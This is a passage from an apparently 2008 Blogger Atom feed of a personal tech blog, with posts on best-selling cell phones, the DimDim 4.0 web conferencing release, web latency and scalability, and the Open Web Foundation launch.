&lt;a href="http://en.wikipedia.org/wiki/Motorola_StarTAC"&gt;Motorola StarTac&lt;/a&gt; sold more units).&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/LG_Chocolate_%28VX8500%29"&gt;LG Chocolate&lt;/a&gt; - around 10 million units sold.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Now, Apple's &lt;a href="http://en.wikipedia.org/wiki/IPhone"&gt;iPhone&lt;/a&gt; has a big chance of overrunning the third spot by the end of 2008 (with the new improved and cheaper 3G model). We'll just have to wait and see. Of course, searching the internet will reveal a &lt;a href="http://blog.tmcnet.com/blog/tom-keating/mobile-phones/top-selling-cell-phones-updated.asp"&gt;different top&lt;/a&gt; for the most selling cell phones.&lt;br /&gt;&lt;br /&gt;On a similar note, CNET has published a review on the &lt;a href="http://reviews.cnet.com/best-cell-phones/?hhTest=1"&gt;best 5 cell phones.&lt;/a&gt; Why haven't I owned any of them yet?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-9172182543377355961?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/9172182543377355961/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=9172182543377355961' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/9172182543377355961'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/9172182543377355961'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/08/mobile-phones-top-3-best-sellers.html' title='Cell Phones - Top 3 best sellers'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-767369359838465969</id><published>2008-08-09T02:51:00.006-04:00</published><updated>2008-12-07T08:47:18.496-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='web meeting'/><category scheme='http://www.blogger.com/atom/ns#' term='dimdim'/><title type='text'>DimDim 4.0 Released</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://dimdim.com/"&gt;DimDim&lt;/a&gt;, a &lt;span style="font-style: italic;"&gt;free&lt;/span&gt; web conferencing service, has launched version 4.0. Some of the key features added were:&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 0);font-family:Verdana,Geneva,Arial,Helvetica,sans-serif;font-size:85%;"  &gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Recording&lt;/span&gt;: You can now record your meetings and share playback URLs or embed the recording directly onto your own website just like YouTube videos.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Multiple Presenters&lt;/span&gt;: With a single click you can allow any attendee to share their presentation, whiteboard, webcam - even their desktop.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Mac Desktop Sharing&lt;/span&gt;: Mac users can share their desktop with anyone using just a browser.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Free &lt;span style="border-bottom: medium none; background: transparent none repeat scroll 0% 0%; cursor: pointer; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;" class="yshortcuts" id="lw_1218264663_1"&gt;Teleconferencing&lt;/span&gt;&lt;/span&gt;: With the improved free VoIP microphone sharing everyone now gets their own unlimited free conference call account.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Private Meetings&lt;/span&gt;: Simply assign a meeting key and only those who know both your meeting room name &lt;span style="font-style: italic;"&gt;and&lt;/span&gt; your meeting key will be able to join.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;No Install&lt;/span&gt;: Now you don't need to install anything to join or even host a meeting. You'll only need to install our screen casting plug-in if you choose to share your desktop.&lt;/li&gt;&lt;/ul&gt;&lt;a href="http://dimdim.com/registration/Dimdim_Signup.html"&gt;Sign up&lt;/a&gt; and give it a spin.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-767369359838465969?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/767369359838465969/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=767369359838465969' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/767369359838465969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/767369359838465969'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/08/dimdim-40-released.html' title='DimDim 4.0 Released'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5753358632489051785</id><published>2008-08-07T04:30:00.006-04:00</published><updated>2008-12-07T08:47:41.367-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazon'/><title type='text'>Web Design - Scalability and Speed</title><content type='html'>&lt;div style="text-align: justify;"&gt;Greg Linden &lt;a href="http://home.blarg.net/%7Eglinden/StanfordDataMining.2006-11-29.ppt"&gt;reported &lt;/a&gt;that every 500ms of latency costs Google 20% of its traffic. Similarly, every 100ms of latency costs Amazon 1% of their sales. The presentation concludes that speed matters (big time), but it is hard to achieve high speeds when you are manipulating large data. Here is where a scalable design matters. My experience with web design is minimal. Maybe you have some good feedback/tutorials/articles on how to achieve scalability when large amounts of data is involved.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5753358632489051785?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5753358632489051785/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5753358632489051785' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5753358632489051785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5753358632489051785'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/08/web-design-scalability-and-speed.html' title='Web Design - Scalability and Speed'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2011422863628427039</id><published>2008-07-29T12:07:00.007-04:00</published><updated>2008-12-07T08:48:04.329-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='O&apos;Reilly'/><category scheme='http://www.blogger.com/atom/ns#' term='Facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Web Foundation'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Yahoo'/><title type='text'>Open Web Foundation</title><content type='html'>&lt;div style="text-align: justify;"&gt;Several days ago, the &lt;a href="http://openwebfoundation.org/"&gt;Open Web Foundation&lt;/a&gt; has been created. From the &lt;a href="http://openwebfoundation.org/2008/07/announcing-the-open-web-foundation.html"&gt;official announcement&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;The Open Web Foundation is an attempt to create a home for community-driven specifications. Following the open source model similar to the Apache Software Foundation, the foundation is aimed at building a lightweight framework to help communities deal with the legal requirements necessary to create successful and widely adopted specification.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;You can also find a brief presentation on the announcement web page mentioned above. Some of the companies that support the efforts of the foundation are Facebook, Google, O'Reilly, Sourceforge, Yahoo, and many other.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2011422863628427039?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2011422863628427039/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2011422863628427039' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2011422863628427039'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2011422863628427039'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/07/open-web-foundation.html' title='Open Web Foundation'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-309329318159565934</id><published>2008-07-28T07:18:00.014-04:00</published><updated>2008-12-07T08:48:38.056-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Job Trends
